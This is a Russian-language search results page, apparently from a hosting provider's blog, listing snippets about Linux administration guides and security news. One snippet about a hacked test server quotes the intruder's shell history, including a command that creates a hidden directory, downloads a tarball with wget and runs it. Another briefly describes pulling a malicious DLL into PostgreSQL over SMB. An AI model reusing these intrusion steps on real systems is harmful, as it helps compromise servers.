Результаты поиска

… из команд: macOS или Lunix с установленным пакетным менеджером Homebrew: brew install s3cmd для Debian-based дистрибутивов Linux: sudo apt install s3cmd для актуальных версий RedHat-based дистрибутивов Linux: sudo dnf install s3cmd для предыдущих версий RedHat-based дистрибутивов Linux: sudo yum install s3cmd Для установки актуальной версии  из PyPA репозитория вам может предварительно понадобится …

… — так быстро всё меняется. Не так давно мы уже  писали о бэкдоре в пакете xz Utils , который затронул многие системы Linux, а сегодня собрали для вас топ новостей из мира безопасности, о которых лучше быть в курсе.  Выявлен неавторизованный … также в свежих выпусках библиотек llhttp и undici. Подробнее   Новый метод атаки Native BHI позволяет обойти защиту в ядре Linux Исследователи из университета в Амстердаме описывают новый метод атаки "Native BHI", который представляет серьезную угрозу для безопасности систем с процессорами Intel на базе ядра Linux. Метод помогает обойти защитные механизмы ядра и получить доступ к содержимому памяти даже из пространства …

… и других критически важных сервисов. Fail2ban — один из наиболее эффективных и популярных решений для усиления безопасности Linux-серверов. В статье мы подробно рассмотрим процесс установки и настройки утилиты для протокола SSH и веб-сервера nginx. … режиме реального времени Требования Для установки и настройки fail2ban нам понадобится: Сервер или виртуальная машина с ОС Linux. Минимальная конфигурация для тестирования: 1vCPU, 1 ГБ RAM, 20 ГБ SSD. Тестовый сервер (опционально, но … работу fail2ban. [block:BannerArticle(3571)] Установка fail2ban Утилита доступна для установки на большинство дистрибутивов Linux, а также FreeBSD. Все приведённые ниже команды необходимо выполнять от имени пользователя root или с использованием …

… Включение/Выключение и перезагрузка виртуальной машины Переустановка ОС на виртуальной машине Смена пароля Root для Linux-серверов Отслеживание статуса VDS Статистика нагрузки и использования сетевых ресурсов Консоль VNC для удалённого … что это ничего не сломает, либо когда к серверу нет доступа для мягкой перезагрузки средствами операционной системы (для Linux-серверов это команда reboot) Помните, что перезагрузка сервера полностью затирает ряд системных логов. Поэтому, если … сервер в исходное состояние. При переустановке можно изменить пароль доступа к серверу ( root ): Смена пароля Root для Linux-серверов Пригодится если вы забыли пароль для доступа по SSH. При сбросе пароля сервер будет несколько секунд …

… на сервере с ОС семейства Windows с использованием консольной утилиты chntpw , которая включена в состав дистрибутива ALT Linux Rescue . Этот способ сброса пароля наиболее прост, так как всё необходимое уже загружено на родительский сервер, достаточно подключить ISO-образ и выполнить необходимые команды. 1. Подключение ISO ALT Linux Rescue Подключите ISO-образ systemrescuecd к своему виртуальному серверу и загрузитесь с него, подробности в статье . …   Для удобства выполните переход в каталог /mnt/Windows/System32/config/ : # cd /mnt/Windows/System32/config/ Важно! В Linux в имени файлов имеет значение регистр, соблюдайте его.   Рассмотрим два способа сбросить пароль Administrator …

… Suricata 5.0 , которая предоставляет средства инспектирования различных видов трафика. Подробнее Представлен релиз Linux-дистрибутива Fedora 31 . Подробнее Чертовски интересные факты Ubuntu исполнилось 15 лет 20 октября 2004 года вышла первая версия Linux-дистрибутива Ubuntu с говорящим (почти хрюкающим) названием 4.10 «Warty Warthog». Этого не случилось, если б не Марк Шаттлворт, миллионер из Южной Африки. Участвуя в разработке Debian Linux, Марк воодушевился идеей создать настольный дистрибутив с предсказуемым фиксированным циклом разработки. Основал свой …

… О том, как ими воспользоваться, рассказываем в статье. Обновление веб-окружения Битрикс   Главное о резервном копировании Linux Кажется, о резервном копировании можно говорить вечно, и вопросы всё равно никогда не перестанут поступать.Что … на эти вопросы и обозначить основные моменты, на которые следует обратить внимание при настройке резервного копирования ОС Linux.  Резервное копирование Linux   Как установить и настроить nginx Приготовили для вас большой гайд, с помощью которого вы сможете разобраться во всех …

… подозрительной. Исследователи полагают, что программы в основном были нацелены на кражу криптовалюты.  Подробнее В ядре Linux обнаружена уязвимость, позволяющая получить повышенные права через VSOCK Была продемонстрирована возможность создания эксплойта для уязвимости CVE-2025-21756 в ядре Linux, которая приводит к обращению к памяти после её освобождения. Эта проблема затрагивает сокеты с адресацией AF_VSOCK, … что это ставит под угрозу корпоративные сети, особенно в условиях удалённой работы. Подробнее Вредоносное ПО в Linux, стирающее все данные с дисков Специалисты по безопасности обнаружили три вредоносных модуля Go с зашифрованным кодом …

… работу с репозиториями под себя, можно установить GitLab на сервер. В статье расскажем, как это сделать на примере с ОС Linux Ubuntu. Читать статью    Примеры использования tcpdump в Linux Утилита tcpdump — один из популярных инструментов командной строки для мониторинга сети в Linux. Помогает отладить сетевой трафик и провести его аудит, что может быть весьма полезным для устранения и профилактики …

… установлена? Управление виртуальными контейнерами Включение/Выключение Перезагрузка Переустановка Сброс пароля root для Linux-серверов Отслеживание статуса VDS Статистика нагрузки и использования сетевых ресурсов Как проверить статистику по … что это ничего не сломает, либо когда к серверу нет доступа для мягкой перезагрузки средствами операционной системы (для Linux-серверов это команда reboot ) Помните, что перезагрузка сервера полностью затирает ряд системных логов. Поэтому, если … ), а также автоматически добавить свои SSH-ключи (для возможности подключения по SSH без пароля). Сброс пароля root для Linux-серверов Пригодится, когда вы забыли пароль для доступа по SSH. При сбросе пароля сервер будет несколько секунд …

… сохранности данных зачастую зависит не только IT-бизнес, но и частная жизнь. Мы уже рассказывали о резервном копировании в Linux — самой популярной операционной системе, используемой на серверах. Теперь давайте подробнее рассмотрим утилиту … и быстро сохранить и восстановить данные на сервере или персональном компьютере. Особенности rsync Как установить rsync на Linux Приступаем к работе Синтаксис rsync Копирование и синхронизация файлов на локальном компьютере Синхронизация с … возможно подключение без пароля (анонимный Rsync). Как установить rsync Rsync входит в состав большинства дистрибутивов Linux. Установить его можно через стандартный менеджер пакетов системы, например apt для deb-based дистрибутивов (Debian, …

… базы панели управления (устанавливается по умолчанию). Поддерживаемые операционные системы (ОС) с архитектурой x64: AlmaLinux 8, 9; Debian 11, 12; Ubuntu 20.04, 22.04, 24.04 (рекомендуется); Rocky Linux 8; МСВСфера 9. Актуальный список поддерживаемых ОС можете посмотреть в  документации разработчика . Установку … началом установки проверьте, установлена ли на сервере утилита wget. Для Ubuntu, Debian: apt install wget Для Alma/Rocky Linux : yum install wget Переходим к непосредственно установке: Скачиваем скрипт установки: wget …

… Узнать больше о балансировщике Уязвимости Уязвимость Dirty Pipe позволяет получит root-права почти во всех дистрибутивах Linux В ядре Linux, начиная с версии 5.8, обнаружена уязвимость, которая позволяет непривилегированному пользователю внедрять и … имя Dirty Pipe. Исправлена ​​в версиях 5.16.11, 5.15.25 и 5.10.102.  Подробнее на xakep.ru Удалённая DoS-уязвимость в ядре Linux вызывает отказ в обслуживании Уязвимость позволяет исчерпать доступную память и удалённо вызвать отказ в обслуживании …

… . Для ОС Ubuntu, Debian: LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so Для ОС CentOS, RedHat, AlmaLinux нужно проверить, чтобы в файле /etc/httpd/conf.modules.d/00-base.conf была строка: LoadModule rewrite_module … этих изменений, нужно перезапустить веб сервер. Для ОС Ubuntu, Debian: systemctl restart apache2 Для ОС CentOS, RedHat, AlmaLinux: systemctl restart httpd В .htaccess для работы перенаправления нужно указать следующую директиву: RewriteEngine On … Этот редирект отличается тем, что в нем можно использовать регулярное выражение. Например, при переносе сайта с Windows на Linux, необходимо сменить все ссылки с *.php на *.aspx: RedirectMatch /(.*)\.aspx$ /$1.php RewriteRule Для работы данного …

… Как видно из списка, в основном это различные файрволы. PF (OpenBSD, FreeBSD, NetBSD, DragonFly BSD) netfilter/iptables (Linux) IPFIREWALL/ipfw (FreeBSD, Mac OS X) IPFILTER (FreeBSD, NetBSD, Solaris) tcpd's hosts.allow (TCP-wrappers, не требует … правила в файрвол вашего сервера и все. В качестве примера рассмотрим защиту ssh-сервера, почтового сервера и ftp для Linux. В Linux по умолчанию используется файрвол iptables. Чтобы занести правила для защиты сервисов, следует выполнить команды: …

… ЧПУ, gzip-сжатие, виртуальные хосты, вывод списка файлов в директории, реверс-проксирование Мультиплатформенность: Windows, Linux, BSD, Mac, Android   Чтобы запустить веб-сервер, скачиваем со страницы загрузки под вашу ОС https://caddyserver.com/download . wget https://github.com/mholt/caddy/releases/download/v0.6.0/caddy_linux_amd64.zip распаковываем архив unzip caddy_linux_amd64.zip запускаем ./caddy По умолчанию, Caddy запускается на 2015 порту и принимает подключение на всех доступных …

… памяти. Основную нагрузку обычно создаёт база данных. Ниже — ориентировочные конфигурации сервера для запуска Zabbix на Linux.  Размер инсталляции Кол-во наблюдаемых метрик Ядра CPU/vCPU RAM (ГБ)   Маленькая до 1 000 2 8 Средняя до 10 000 4 16 … метрик, триггеров и правил обнаружения для хоста. Нажмите  Select , откройте  Templates/Operating systems и добавьте  Linux by Zabbix agent . Host groups — группа для объединения хостов по общему признаку. Укажите существующую группу, например,  Linux servers , или создайте новую. Interfaces  — способ подключения Zabbix к хосту для получения данных. Нажмите  Add , …

… А пароль yfkbrgthtirbgth достаточно надежный? Этот сервер предназначался для тестирования. Я проинсталлировал Debian Linux, установил пароль типа qazwsx123, открыл доступ только для ssh и http, и... благополучно забыл о сервере на несколько … пользователя от терминала 13  passwd теперь сменен пароль 14  cd /var/tmp ; mkdir " " ; cd " " ; wget www.<сайт>_redirecte_linux_hlds_dp.tar.gz ; tar xzvf csservers_redirecte_linux_hlds_dp.tar.gz  ; cd csservers_redirecte_linux_hlds_dp ; chmod +x * ; screen ; ./start создана скрытая директория “ “ …

… два долгожителя: уязвимость PostgreSQL продержалась в СУБД около двенадцати лет, а самая старая из восемнадцати дыр в ядре Linux — восемь. Закончим двумя историями про объём: 3,2 млн необновлённых сайтов на WordPress и 966 патчей Microsoft за один … достаточно передать UNC-путь вида  \\server\share\file.dll , и DLL с машины атакующего подтянется по SMB. На обычном Linux сложнее — вредоносный .so надо сначала каким-то другим способом положить в доступную PostgreSQL файловую систему. … роли с атрибутом REPLICATION и ограничить источники их подключения через  pg_hba.conf . Подробнее 18 эксплоитов для ядра Linux: путь от обычного пользователя до root Исследователи Nebula Security раскрыли сведения сразу о 18 уязвимостях в ядре …

… обнаружил опасные уязвимости в системе CUPS, которые позволяют проводить удалённые атаки на операционные системы GNU/Linux, Solaris и FreeBSD. Эти уязвимости позволяют злоумышленникам выполнять код без необходимости аутентификации, изменяя … настоящее время уже опубликован патч CUPS версии 2.4.11 Подробнее  Уязвимость в libnv во FreeBSD и уязвимости в Netfilter в Linux В начале сентября стало известно, что  устранение уязвимости в библиотеке libnv было выполнено не до конца, что … 13.4-RELEASE-p1 и 13.3-RELEASE-p7. Опубликованы рабочие прототипы эксплоитов, направленные на уязвимости в ядре Linux (CVE-2024-26808 и CVE-2024-1085). Эти уязвимости позволяют выполнять код с правами root при доступе к nftables. …

… локального стека: Go + PostgreSQL + Ollama. А также представим подробное руководство по расследованию инцидентов в Linux. Он, как и хороший детектив, — вышел в двух частях: в первой рассказываем про принципы, подготовку и сбор первичных … и Ollama без облачных API Читать статью Дальняя связь на модулях LoRa: принимаем сигнал ниже уровня шума Читать статью Linux Incident Response: системный подход. Часть 1 Читать статью Linux Incident Response: системный подход.  Часть 2 Читать статью Ищем авторов для блога на Хабр. Подготовьте статью на одну …

… необходимо обновить панель управления до последней версии stable 6.88.1 или beta 6.90.1. Релизы и уязвимости Релиз ядра Linux 6.7 Представлена новая версия ядра Linux — 6.7. Среди основных изменений: интеграция ФС Bcachefs, прекращение поддержки архитектуры Itanium, возможность работы … СУБД MySQL 8.3 и опубликовала корректирующее обновление MySQL 8.0.36. Сборки уже доступны для всех основных дистрибутивов Linux, FreeBSD, macOS и Windows. Среди основных изменений: устранено 25 уязвимостей, добавлена поддержка компоновщика mold …

… Пиринговый видеохостинг PeerTube — свободная альтернатива YouTube 15 супер полезных примеров команды find в Linux   Если не нашли решение проблемы в Базе знаний , напишите нам на marketing@firstvds.ru — добавим статью. Новости А … удалены, однако их успели скачать около 15 тысяч раз. Подробнее на opennet.ru   Уязвимость в USB Gadget, подсистеме ядра Linux В USB Gadget, подсистеме ядра Linux, выявлена уязвимость, позволяющая злоумышленнику получить информацию из ядра, выполнить произвольный код или …

… sudo install -m 0755 -d /etc/apt/keyrings Скачайте официальный GPG-ключ Docker: sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc Установите разрешение на ключ: sudo chmod a+r /etc/apt/keyrings/docker.asc … Docker: echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \ sudo tee … проекта. Любой пользователь может разместить там собственные образы, поэтому большинство необходимых приложений и версий Linux вы найдете именно в этом месте. Для поиска доступных образов на Docker Hub, воспользуйтесь командой  docker вместе с …

… сертификатов (dbx, UEFI Revocation List) — при этом вы больше не сможете использовать старые установочные носители с Linux. Подробнее на opennet.ru. Уязвимость в Linux, позволяющая получить права root В подсистеме iSCSI ядра Linux обнаружена уязвимость CVE-2021-27365, позволяющая непривилегированному локальному пользователю выполнить код на уровне …